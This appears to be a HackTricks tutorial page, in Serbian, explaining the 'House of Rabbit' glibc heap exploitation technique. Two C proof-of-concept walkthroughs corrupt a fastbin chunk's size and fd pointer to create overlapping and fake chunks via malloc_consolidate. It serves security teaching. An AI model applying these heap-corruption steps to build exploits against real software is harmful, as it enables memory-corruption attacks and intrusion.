House of Rabbit

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Zahtevi

  1. Sposobnost modifikacije fast bin fd pokazivača ili veličine: To znači da možete promeniti unapred pokazivač chunk-a u fastbin-u ili njegovu veličinu.
  2. Sposobnost aktiviranja malloc_consolidate: To se može uraditi ili alokacijom velikog chunk-a ili spajanjem gornjeg chunk-a, što prisiljava heap da konsoliduje chunk-ove.

Ciljevi

  1. Kreirati preklapajuće chunk-ove: Da jedan chunk preklapa drugi, omogućavajući dalju manipulaciju heap-om.
  2. Falsifikovati lažne chunk-ove: Da prevarite alokator da tretira lažni chunk kao legitimni chunk tokom operacija na heap-u.

Koraci napada

POC 1: Modifikujte veličinu fast bin chunk-a

Cilj: Kreirati preklapajući chunk manipulacijom veličine fastbin chunk-a.

  • Korak 1: Alocirajte chunk-ove
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

Dodeljujemo dva dela od po 0x40 bajtova. Ovi delovi će biti smešteni u brzi bin list nakon što budu oslobođeni.

  • Korak 2: Oslobodi delove
cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

Osobađamo oba dela, dodajući ih na fastbin listu.

  • Korak 3: Izmeni veličinu dela
cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

Menjamo veličinu metapodataka chunk1 na 0xa1. Ovo je ključni korak za prevaru alokatora tokom konsolidacije.

  • Korak 4: Aktiviraj malloc_consolidate
cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Dodeljivanje velikog dela pokreće funkciju malloc_consolidate, spajajući male delove u brzim binovima. Manipulisana veličina chunk1 uzrokuje da se preklapa sa chunk2.

Nakon konsolidacije, chunk1 se preklapa sa chunk2, omogućavajući dalju eksploataciju.

POC 2: Izmenite fd pokazivač

Cilj: Kreirati lažni deo manipulacijom fd pokazivača brzog bina.

  • Korak 1: Dodelite delove
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Objašnjenje: Alociramo dva dela, jedan manji i jedan veći, da bismo postavili heap za lažni deo.

  • Korak 2: Kreiraj lažni deo
cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

Pišemo lažne metapodatke o delu u chunk2 da simuliramo manje delove.

  • Korak 3: Oslobodi chunk1
cpp
free(chunk1);  // Frees the chunk at 0x602000

Objašnjenje: Oslobađamo chunk1, dodajući ga na fastbin listu.

  • Korak 4: Izmenite fd od chunk1
cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Objašnjenje: Menjamo prednji pokazivač (fd) chunk1 da pokazuje na naš lažni chunk unutar chunk2.

  • Korak 5: Aktiviraj malloc_consolidate
cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Dodeljivanje velikog dela ponovo pokreće malloc_consolidate, koji obrađuje lažni deo.

Lažni deo postaje deo fastbin liste, čineći ga legitimnim delom za dalju eksploataciju.

Sažetak

Tehnika House of Rabbit uključuje ili modifikovanje veličine fast bin dela kako bi se stvorili preklapajući delovi ili manipulaciju fd pokazivačem za kreiranje lažnih delova. Ovo omogućava napadačima da falsifikuju legitimne delove u heap-u, omogućavajući različite oblike eksploatacije. Razumevanje i vežbanje ovih koraka će poboljšati vaše veštine eksploatacije heap-a.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks